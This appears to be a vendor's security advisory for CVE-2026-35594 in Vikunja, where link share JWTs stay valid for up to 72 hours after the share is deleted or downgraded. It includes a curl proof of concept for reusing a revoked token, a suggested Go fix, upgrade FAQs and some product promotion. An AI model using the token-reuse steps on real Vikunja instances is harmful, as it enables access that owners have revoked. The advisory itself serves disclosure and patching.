CVE-2026-35594

Title

Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade

Description

Vikunja's link share authentication constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl).

GetLinkShareFromClaims at pkg/models/link_sharing.go lines 88-119 performs zero database queries, it builds the LinkSharing struct purely from JWT claim values (id, hash, project_id, permission, sharedByID). This struct is passed directly to permission checks:

Contrast with user tokens: User JWTs use a 10-minute TTL (ServiceJWTTTLShort) with sid claim and server-side sessions enabling revocation. Link share JWTs use a 72-hour TTL (ServiceJWTTTL) with no sid, no server-side session, and no refresh mechanism.

Permalink:

• GetLinkShareFromClaims: pkg/models/link_sharing.go:88-119
• NewLinkShareJWTAuthtoken: pkg/modules/auth/auth.go:141-160
• Permission checks: pkg/models/project_permissions.go:50-53, 105-108, 192-194
• TTL defaults: pkg/config/config.go:337-339

PoC

# 1. Create an Admin-level link share on project 42
curl -X PUT "https://vikunja.example.com/api/v1/projects/42/shares" \
  -H "Authorization: Bearer <owner-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"permission": 2}'
# Response: {"id": 5, "hash": "abc123", ...}

# 2. Obtain link share JWT (72h TTL, no sid claim)
curl -X POST "https://vikunja.example.com/api/v1/shares/abc123/auth"
# Response: {"token": "<link-share-jwt>"}

# 3. Delete the link share
curl -X DELETE "https://vikunja.example.com/api/v1/projects/42/shares/5" \
  -H "Authorization: Bearer <owner-jwt>"
# 200 OK, share row removed from database

# 4. Use the deleted share's JWT, STILL WORKS for up to 72 hours
curl -X GET "https://vikunja.example.com/api/v1/projects/42/tasks" \
  -H "Authorization: Bearer <link-share-jwt>"
# 200 OK, full task list returned with Admin permissions

# 5. Permission downgrade variant:
# Delete Admin share → create Read-only share → old JWT still has Admin access

• Revoked link shares remain functional for up to 72 hours (default TTL)
• Project owners cannot respond to security events (leaked URLs, access revocation) in real time
• Permission downgrades have no effect on outstanding tokens
• Scope: single project per token, severity scales with permission level (Admin > Write > Read)

CVE-2026-35594 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Add database validation in GetLinkShareFromClaims:

func GetLinkShareFromClaims(claims jwt.MapClaims) (share *LinkSharing, err error) {
    id, is := claims["id"].(float64)
    if !is {
        return nil, &ErrLinkShareTokenInvalid{}
    }
    // Validate against database
    s := db.NewSession()
    defer s.Close()
    share, err = GetLinkShareByID(s, int64(id))
    if err != nil {
        return nil, err  // Share was deleted
    }
    // Verify permission not downgraded
    claimedPermission := Permission(claims["permission"].(float64))
    if share.Permission < claimedPermission {
        return nil, &ErrLinkShareTokenInvalid{}
    }
    return share, nil
}

Alternatives: shorter TTL with refresh mechanism, token blocklist, or session tracking matching user token pattern.

1. What is CVE-2026-35594? CVE-2026-35594 is a medium-severity security vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.2. It is fixed in 2.3.0.
2. How severe is CVE-2026-35594? CVE-2026-35594 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-35594? code.vikunja.io/api (go) versions <= 2.2.2 is affected.
4. Is there a fix for CVE-2026-35594? Yes. CVE-2026-35594 is fixed in 2.3.0. Upgrade to this version or later.
5. Is CVE-2026-35594 exploitable, and should I be worried? Whether CVE-2026-35594 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35594 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35594? Upgrade code.vikunja.io/api to 2.3.0 or later.